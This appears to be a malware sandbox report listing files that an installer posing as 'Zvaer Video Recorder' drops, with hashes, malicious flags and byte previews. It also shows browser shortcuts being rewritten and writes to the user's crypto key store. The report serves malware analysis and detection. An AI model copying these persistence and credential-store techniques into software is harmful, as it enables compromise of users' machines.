SHA-512:	FA06AB2B1AE116BC7AE93EA64D4C258A7149A23C0171C077F0919956101A22A59DD8E3F975C64073319842F01D6183253F637A0EDB514F0C02C9D88B0E65E6CF
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........u..j...j...j.......j.......j.. ....j.. ....j.. ....j.. ....j..i....j...j...j..i....j..i....j..i...j...j...j..i....j..Rich.j..................PE..d....kP_.........." .........,...............................................`............`..........................................t..._...........@..........t"...*..x....P.......;..T...........................`;...............................................text............................... ..`.rdata..............................@..@.data...............................@....pdata..t".......$..................@..@.rsrc........@....... ..............@..@.reloc.......P.......&..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-S5NFS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	51
Entropy (8bit):	3.48286657951254
Encrypted:	false
SSDEEP:	3:cUoytoUD6MBomFUT:cUoQoUD6Qoyy
MD5:	034D89CD2C41EDFCEADA9F96A3C0A56A
SHA1:	92AB4E6FF98CA987D56EA3C1BA36D1C61EF23ACB
SHA-256:	44BBE94D481B106F00223DD406D015AEFD00CFA2DBA9428BEFC2B8F6A3FEB971
SHA-512:	6C3E701D2D0FD24FDB46C0E1B0EF5245F36E4A34A9D2340665A31F6331C2D6F08680399600FB02C3D51694F9BAFFB3E41A367CB4FE945D4836B669DA63EB6358
Malicious:	false
Reputation:	unknown
Preview:	1 1..4 3..3 2..16 9..6 5..468 60..728 90..2592 1936

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-VPC2O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2042352
Entropy (8bit):	7.085275197144553
Encrypted:	false
SSDEEP:	24576:OFZD9URlmDrgBrhEci8XhP3YLd44RS6+FNbqUzUxVvqKGTZnIzudBDFPjQAr10Fu:+ZeLrXFcL0YF7pvtHkfH
MD5:	876A839023B8F962A72D295DA7495734
SHA1:	62A7728679BC18784B1FBF1D013F7CECE18CBEC9
SHA-256:	A757D773DA406411FB977761F6E56F016D48D224AEDAF3D875ED4D4A9EDE6158
SHA-512:	E1B23A2F5EC0100FF874CA075BBD0F90E9065A90FEC66861F99DF603D7AAA9DB8E8EC326710FDC11AD41D01BEFE4EA3077136127ACF613614D0D12FF23BEC6C1
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....^............................4.............@..........................@.......................................................p...3..............X............................................................................................text............................... ..`.rdata..x%.......0..................@..@.data....S.......0..................@....rsrc....@...p...@...@..............@..@.vcp1208............................a.G.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\libcurl.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	363880
Entropy (8bit):	6.3947346615222305
Encrypted:	false
SSDEEP:	6144:lieS4N0DdxBa72yNQuqped6c7Bv5ebr+U2pyQqsa3a8g+QTW:UeSyCVaiyNQAd6cV5K+Jp37W
MD5:	460B0576549FFD1F55D717BA6E265A05
SHA1:	65AB7E2109658102678C122D7DE603E64DCE7CC5
SHA-256:	AAB56C21B6CEC7065882A750BECB4526B4CB5815A4AC002C2594F84FB0F5955F
SHA-512:	666B16FF72CB847B8D141B0110BBB45AAE67D9BB01E2D6B48C7BDA61C5DC3126CCBC72627C1B93EC23B87E9427C39DC890F1E0A72E5077DC0071E5FEA1B1E3A3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................7!.....;.....9...............>.;...Vh-.......>.......>.:....=...>.8...Rich....................PE..d.....%Y.........." .........d.......................................................L....`.........................................@........................P...7...l..h!......8.......................................p............ ...............................text...K........................... ..`.rdata....... ......................@..@.data...@....@.......(..............@....pdata...7...P...8...*..............@..@.rsrc................b..............@..@.reloc..8............h..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\libeay32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2042352
Entropy (8bit):	7.085275197144553
Encrypted:	false
SSDEEP:	24576:OFZD9URlmDrgBrhEci8XhP3YLd44RS6+FNbqUzUxVvqKGTZnIzudBDFPjQAr10Fu:+ZeLrXFcL0YF7pvtHkfH
MD5:	876A839023B8F962A72D295DA7495734
SHA1:	62A7728679BC18784B1FBF1D013F7CECE18CBEC9
SHA-256:	A757D773DA406411FB977761F6E56F016D48D224AEDAF3D875ED4D4A9EDE6158
SHA-512:	E1B23A2F5EC0100FF874CA075BBD0F90E9065A90FEC66861F99DF603D7AAA9DB8E8EC326710FDC11AD41D01BEFE4EA3077136127ACF613614D0D12FF23BEC6C1
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....^............................4.............@..........................@.......................................................p...3..............X............................................................................................text............................... ..`.rdata..x%.......0..................@..@.data....S.......0..................@....rsrc....@...p...@...@..............@..@.vcp1208............................a.G.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\libmp3lame.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	397672
Entropy (8bit):	6.4894894939696846
Encrypted:	false
SSDEEP:	12288:W8c9NNNNNNBgjcQFg7jaV95D3+wxech2KJ:tc9NNNNNN+jcQg7jMnD/xech2o
MD5:	B9F3C911728B17FE49BB217D799FCC1A
SHA1:	26F4A963E2F43F46323D8610FEC5E8CC8C4A8A16
SHA-256:	9CEB41F04B48CF7B419C95D03E227F593836D74A04625C0AD5AD2877D7229B65
SHA-512:	0A50270432E6E476D5B4DAF7D9D45053F821BEF02F1872EF598A9E66B2E6B75AE4A89AB97AE175C5143CE3C993D7A354F6389EB5A8BDDBFDE59522103535C403
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........v.{.%.{.%.{.%.=%.{.%.?%.{.%..%.{.%..%.{.%...%.{.%`.+%.{.%.{.%.{.%..<%.{.%.);%.{.%.{w%.{.%..>%.{.%Rich.{.%........................PE..d......].........." .....8..........................................................g,....`.........................................@...87..x...<.... ...........%......h!...........................................k..p............P...............................text...;6.......8.................. ..`.rdata.......P.......<..............@..@.data...............................@....pdata...%.......&..................@..@_RDATA..P/.......0..................@..@.rsrc........ ......................@..@.reloc..............................@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\mousehelper.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	20840
Entropy (8bit):	6.3244920295043645
Encrypted:	false
SSDEEP:	384:rk3cFbdBtZHvagGFsGfZyGmGovy8ZpHEi+:rk0vHy9oyiRM
MD5:	D2BC90D6AF120A0643AD5DC5F3CE8D43
SHA1:	419C3246B08125754CCBB4323DD823F8DA0548CB
SHA-256:	BDED78571A2E60B3324AB9B4D3DDB6DE12FC08CB4BBE6A582A2C2292AA17CCE6
SHA-512:	F34C90E44F473A8CD62B75B6D531FDD47AD132A3F1BCE7AD5C0DDF30C61A2454BA214AA2B6CD50C2A1B6CD3AC85F2D9989775376A400D34EBBD2EFAB0FBECC7A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ovA{+./(+./(+./("o.(/./(yb.))./(yb)%./(yb+)#./(yb,)(./(?\|.)../(+..(../(.b)./(.b/)./(.b.(./(.b-)./(Rich+./(........................PE..d....z{c.........." ......... .......................................................7....`..........................................8..t...T;..x....p.......`.......0..h!......<....1...............................2..8............0..(............................text............................... ..`.rdata.......0......................@..@.data........P.......(..............@....pdata.......`.......*..............@..@.rsrc........p.......,..............@..@.reloc..<...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\msvcp120.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	660128
Entropy (8bit):	6.339798513733826
Encrypted:	false
SSDEEP:	12288:N2fus43uu43Ry4GHlT4xH2K+M+/i+WSpY+7YOzCaK9A3gS2EKZm+GWodEEwnyh:muJzCaK9AB2EKZm+GWodEEwnyh
MD5:	46060C35F697281BC5E7337AEE3722B1
SHA1:	D0164C041707F297A73ABB9EA854111953E99CF1
SHA-256:	2ABF0AAB5A3C5AE9424B64E9D19D9D6D4AEBC67814D7E92E4927B9798FEF2848
SHA-512:	2CF2ED4D45C79A6E6CEBFA3D332710A97F5CF0251DC194EEC8C54EA0CB85762FD19822610021CCD6A6904E80AFAE1590A83AF1FA45152F28CA56D862A3473F0A
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........;..h..h..h..[h..h..h..h..Mh..hIAWh..h..Oh..h..qh..h..ph..h..uh..h..Lh..h..Kh..h..Nh..hRich..h................PE..d.....OR.........." .....@...................................................`......a.....`.........................................pU.. ....2..<....@...........G.......>...P.......X..................................p............P...............................text....>.......@.................. ..`.rdata.......P.......D..............@..@.data........P...8...B..............@....pdata...G.......H...z..............@..@.rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\msvcp140.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	590632
Entropy (8bit):	6.463330275333709
Encrypted:	false
SSDEEP:	12288:Mt8MRN4gE4x4iTqwTQa6IUqXF7XyxpypsdUDqNSfbQEKZm+jWodEEV3Ho/:MCMm9pyp35bQEKZm+jWodEExg
MD5:	E74CAF5D94AA08D046A44ED6ED84A3C5
SHA1:	ED9F696FA0902A7C16B257DA9B22FB605B72B12E
SHA-256:	3DEDEF76C87DB736C005D06A8E0D084204B836AF361A6BD2EE4651D9C45675E8
SHA-512:	D3128587BC8D62E4D53F8B5F95EB687BC117A6D5678C08DC6B59B72EA9178A7FD6AE8FAA9094D21977C406739D6C38A440134C1C1F6F9A44809E80D162723254
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......n..............w.(...#...<........../.....".................+.....g.+.....+...Rich*...................PE..d...R8.^.........." .....>..........p"....................................................`A........................................ m..h....G..,...............(;......(A......4.......T...............................0............P......Ti..@....................text....=.......>.................. ..`.rdata.......P.......B..............@..@.data....:...`..."...P..............@....pdata..(;.......<...r..............@..@.didat..h...........................@....rsrc...............................@..@.reloc..4...........................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\msvcp140_1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31528
Entropy (8bit):	6.472533190412445
Encrypted:	false
SSDEEP:	384:R77JqjlI8icUYWhN5tWcS5gWZoMUekWi9pBj0HRN7RA5aWixHRN7osDhzlGs6N+E:R5D8icUlX5YYMLAWRAlypmPB
MD5:	7EE2B93A97485E6222C393BFA653926B
SHA1:	F4779CBFF235D21C386DA7276021F136CA233320
SHA-256:	BD57D8EEF0BC3A757C5CE5F486A547C79E12482AC8E694C47A6AB794AA745F1F
SHA-512:	4A4A3F56674B54683C88BD696AB5D02750E9A61F3089274FAA25E16A858805958E8BE1C391A257E73D889B1EEA30C173D0296509221D68A492A488D725C2B101
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........U..\4~.\4~.\4~...^4~.UL..X4~.Dz.[4~.D}.^4~.\4..v4~.D..Y4~.D{.O4~.D~.]4~.D..]4~.D\|.]4~.Rich\4~.........PE..d...W8.^.........." .........$............................................................`A.........................................>..L....?..x....p.......`..4....:..(A......p...@3..T............................3..0............0..0............................text...(........................... ..`.rdata.......0......................@..@.data........P.......,..............@....pdata..4....`.......0..............@..@.rsrc........p.......4..............@..@.reloc..p............8..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\msvcr120.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	963232
Entropy (8bit):	6.634408584960502
Encrypted:	false
SSDEEP:	24576:FkZ+EUPoH5KTcAxt/qvRQdxQxO61kCS9mmWymzVPD:FkMAlM8ixQI5C6wl
MD5:	9C861C079DD81762B6C54E37597B7712
SHA1:	62CB65A1D79E2C5ADA0C7BFC04C18693567C90D0
SHA-256:	AD32240BB1DE55C3F5FCAC8789F583A17057F9D14914C538C2A7A5AD346B341C
SHA-512:	3AA770D6FBA8590FDCF5D263CB2B3D2FAE859E29D31AD482FBFBD700BCD602A013AC2568475999EF9FB06AE666D203D97F42181EC7344CBA023A8534FB13ACB7
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Ck.."..".."..D...".."..-"...s..$ ...s.."...s.."...s.. "...s.."...s.."...s.."..Rich."..........................PE..d.....OR.........." .....h...:.......)..............................................].....`.................................................@...(............@...s...t...>......8...p................................2..p............................................text....g.......h.................. ..`.rdata...8.......:...l..............@..@.data...hu.......D..................@....pdata...s...@...t..................@..@.rsrc................^..............@..@.reloc..8............b..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\openh264.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	869224
Entropy (8bit):	6.632387605957213
Encrypted:	false
SSDEEP:	24576:DJf34ppw4hjg401r+iTy2mmzuF3SJciti0ZIj8UoJwCR:Dl3ypw4yN/RiF3SJdO8xJv
MD5:	DAA904CE63B0A290111AED5E843B9368
SHA1:	6642AD5C2622D756EB3500E7C0420E9DA7A16BB1
SHA-256:	471BBC3FA0A98869F6791E0D1A55B38F5E360842A7CC219A6FF26030E62DBB1B
SHA-512:	CBFD06523F1855AAF4BE2D33EB3A3A324C8D7AF4871B314AC2C165FD17F8DA6CD2F465E9405412282AAC1ED247B811A4A73D91069A324A5AEC531253AE3A4D0B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......t.9d0.W70.W70.W7...73.W70.V7m.W7.M.71.W7v..7..W7v..7..W7v..7$.W7.s.7e.W70.W7'.W7.s.71.W7=..71.W7.s.71.W7Rich0.W7........PE..d......].........." .....8...........\...............................................$....`.................................................\|...(....`..........x]..."..h!...p.......R..8...............................p............P..H............................text...7+.......,.................. ..`.rodata......@.......0.............. ..`.rdata..FP...P...R...<..............@..@.data... K.......&..................@....pdata..x].......^..................@..@.rsrc........`......................@..@.reloc.......p......................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\openh264_license.txt (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	1297
Entropy (8bit):	5.115489615345492
Encrypted:	false
SSDEEP:	24:CbUneZXof9+bOOrXqFT09+JYrXqFTzl796432s4EOkUs8QROJ32s3yxsITf+3t1e:Cn3OOrXqJ07rXqJzr6432sv832s3EsI/
MD5:	AAF4009F5963B1B270D8C3E697EBE442
SHA1:	F5A44235094DA0B8B5992C6112CB8C356EF22B93
SHA-256:	3988CDCCB878675B4AB8C11F21EF7F6301451F59E2E2BF3F07E963D36C8E9767
SHA-512:	BC30F4C5F17E4F0CDE2CDD5C36A6EC28271569E18808E736186D42409564E3E6FFA8AD23842912C90F39CE6264A698714A434092778C74CBDE6C330DD3969109
Malicious:	false
Reputation:	unknown
Preview:	Copyright (c) 2013, Cisco Systems.All rights reserved...Redistribution and use in source and binary forms, with or without modification,.are permitted provided that the following conditions are met:..* Redistributions of source code must retain the above copyright notice, this. list of conditions and the following disclaimer...* Redistributions in binary form must reproduce the above copyright notice, this. list of conditions and the following disclaimer in the documentation and/or. other materials provided with the distribution...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND.ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED.WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE.DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR.ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES.(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERV

C:\Users\user\AppData\Local\Zvaer Video Recorder\proportions.txt (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	51
Entropy (8bit):	3.48286657951254
Encrypted:	false
SSDEEP:	3:cUoytoUD6MBomFUT:cUoQoUD6Qoyy
MD5:	034D89CD2C41EDFCEADA9F96A3C0A56A
SHA1:	92AB4E6FF98CA987D56EA3C1BA36D1C61EF23ACB
SHA-256:	44BBE94D481B106F00223DD406D015AEFD00CFA2DBA9428BEFC2B8F6A3FEB971
SHA-512:	6C3E701D2D0FD24FDB46C0E1B0EF5245F36E4A34A9D2340665A31F6331C2D6F08680399600FB02C3D51694F9BAFFB3E41A367CB4FE945D4836B669DA63EB6358
Malicious:	false
Reputation:	unknown
Preview:	1 1..4 3..3 2..16 9..6 5..468 60..728 90..2592 1936

C:\Users\user\AppData\Local\Zvaer Video Recorder\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	InnoSetup Log Zvaer Video Recorder, version 0x30, 5321 bytes, 632922\user, "C:\Users\user\AppData\Local\Zvaer Video Recorder"
Category:	dropped
Size (bytes):	5321
Entropy (8bit):	4.773207430058513
Encrypted:	false
SSDEEP:	96:4HEHPXdWj4882vp496hAV9++eOIhWFnmo4cVSQs0LQdco3yzTJ5tcaSbOuzc+6yX:4HEHPXdWj48Hvp4QWfHIhWxmdcVSQ1QD
MD5:	5A58972D5BEFC97130DC14CE9A5F2C3E
SHA1:	624B734C6655A3BEF1C6EC755166C652A0DD72DB
SHA-256:	15AD95E86F84196A4C86DD8F9891007C4E7BE7BEBC87DEF0A77DFDD59E61EE9D
SHA-512:	E787ECDAB5DFB3FEE0B6C4BEA77D90CBB24B897C7DE7D424E857C7AD9E73B342E126F1B405554F7AB100DA3C9A6FCB27D75459C11D469510382EA23DCD394615
Malicious:	false
Reputation:	unknown
Preview:	Inno Setup Uninstall Log (b)....................................Zvaer Video Recorder............................................................................................................Zvaer Video Recorder............................................................................................................0...........%..............................................................................................................."T...........W........Q....632922.user1C:\Users\user\AppData\Local\Zvaer Video Recorder...........*...:.. .....<......IFPS.............................................................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TPASSWORDEDIT....TPASSWORDEDIT...........................................!MAIN....-1..(...dll:kernel32.dll.CreateFileA..............$...dll:kernel32.dll.WriteFile............"...dll:kernel32.dll.CloseHandle........"...dll:kernel32.dll.ExitProcess........%...dll:User3

C:\Users\user\AppData\Local\Zvaer Video Recorder\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	707354
Entropy (8bit):	6.47093934905224
Encrypted:	false
SSDEEP:	12288:D0QfKb7nH5lrPo37AzHTA63I0ihE4UEQrrNtIECORGv75ELAfXExy8b:nfKbT5lrPo37AzHTA63/cfU9IEU753fs
MD5:	AC024C9973B2EFD1B16F026C1711E42E
SHA1:	BAFC9953089DABEB9F79D96400184204BA76C6BE
SHA-256:	D6E8069497CE648D92E18BFF40471ED00E7E90B409D203E66D50449091303B0F
SHA-512:	37AF02E12C22926FAAED4D5DEE433749E61D43CD1644B485503BC8C8668FD38D2DCE98E472E419FD4B3A153E655ED9C97190351DF54C93990140C4F23C61A184
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................&...........1.......@....@..............................................@...............................%...`...>..........................................................................................................CODE.....$.......&.................. ..`DATA....<....@.....................@...BSS..........`.......<...................idata...%.......&...<..............@....tls.................b...................rdata...............b..............@..P.reloc..............................@..P.rsrc....>...`...>...d..............@..P.....................*..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\zvaervideorecorder.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	3195899
Entropy (8bit):	6.610770856131541
Encrypted:	false
SSDEEP:	49152:ktxoBqogK3gzF14dHHw2mUDlcjGA6PqeB5ZBsBn9H:AoqohgzrcHQ2melci7PDBKn9H
MD5:	043BBFBF3F9119E9ACD330980383D523
SHA1:	BFD5461A05FE9E56D811C407056B074AEE2362FB
SHA-256:	95453C0BB147BD2773B049F0B255E6AE954E1CA2DE8DF4E264B39E090CA4649F
SHA-512:	5174DE21C14C60FB6624C4740D3342EFDBC194A75617B98C6FC64E625C52EE287107D0D15B0683286E6DBA45DDB90250E84D4DB503F04E2DE1B88941E3CB96E3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...D..^........../...............................@...........................1.............................................D...........@...............................................................................l............................text...*........................... ..`.rdata..n/.......0..................@..@.data...8T... ...0... ..............@....rsrc................P..............@..@.pascal5......!..s...P!.............a.S.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1002\76b53b3ec448f7ccdda2063b15d2bfc3_9e146be9-c76a-4720-bcdb-53011b87bd06

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	0158FE9CEAD91D1B027B795984737614
SHA1:	B41A11F909A7BDF1115088790A5680AC4E23031B
SHA-256:	513257326E783A862909A2A0F0941D6FF899C403E104FBD1DBC10443C41D9F9A
SHA-512:	C48A55CC7A92CEFCEFE5FB2382CCD8EF651FC8E0885E88A256CD2F5D83B824B7D910F755180B29ECCB54D9361D6AF82F9CC741BD7E6752122949B657DA973676
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Tue Oct 3 10:50:01 2023, atime=Wed Sep 27 04:28:27 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2434
Entropy (8bit):	3.582602984106799
Encrypted:	false
SSDEEP:	48:8SLdpT63ERYrnvDdAKRkdA5q+9Jq87dAKR+/KRllygP:8SbEDNly
MD5:	034ED353BD05642C02D0C5B1FCD3A5F7
SHA1:	E0CA4A4E46CF50A37390716004A8921A6C4FEADE
SHA-256:	F517AE8FE83B88D34D5A97666ED2236B554C9C8183A2947C7A52311AF7F27F9B
SHA-512:	BA59AAC97523FE6F3EBD316DEFED032506EF6322C5EB7A78EFCA4A118FBE247456B87B93B6ECD01BE0D0447205236219A5EB9AB7536B8F96C4467DF91707217B
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ......,....Tb.........q.... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....CW}W..PROGRA~1..t......O.ICW}W....B...............J.....7...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VCW.W....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VCW.V....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VCW.W..........................."&.A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.+ .chrome.exe..F......CW.VCW.W..........................,.6.c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.G.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.?. .-

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Microsoft Edge.lnk

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Thu Aug 5 21:41:46 2021, mtime=Tue Oct 3 10:48:05 2023, atime=Thu Aug 5 05:45:01 2021, length=3311504, window=hide
Category:	dropped
Size (bytes):	2504
Entropy (8bit):	3.6769571281010167
Encrypted:	false
SSDEEP:	48:8UZndO5fLswOnzTdRdJq+9Jq5dLXuHj0PkZyl7:88+uD0PkZy
MD5:	B515E9D62DD909B33197149826966C12
SHA1:	FA5355B0BA98544BCB58B00576EBC71A79F8CE74
SHA-256:	39DB11D5A4D5473DF27E916CE054EB7A939E945DB3803978B754326D7C8AF9C6
SHA-512:	5B8FBCA04BC9B54780CEC2EE6B5229DFCDFD0A797D3C4AF70785D5A90C0A65BEE9C44058D257E08E73BEE4A08E42A3B00658D54D4249480A0E158D9F57A33F79
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. .....\|.K.....x......zj.....2.....................1....P.O. .:i.....+00.../C:\.....................1.....CW.X..PROGRA~2.........O.ICW.X....................V.......E.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....\.1.....CW.?..MICROS~1..D......(Ux.CW.U..........................w.o.M.i.c.r.o.s.o.f.t.....N.1.....CW.?0.Edge..:.......S8.CW.U...........................f .E.d.g.e.....`.1.....CW.H0.APPLIC~1..H.......S8.CW.U...........................L).A.p.p.l.i.c.a.t.i.o.n.....`.2...2..S.5 .msedge.exe..F.......S8.CW.V...........................t..m.s.e.d.g.e...e.x.e.......k...............-.......j............F.......C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe....B.r.o.w.s.e. .t.h.e. .w.e.b.N.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.1.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe
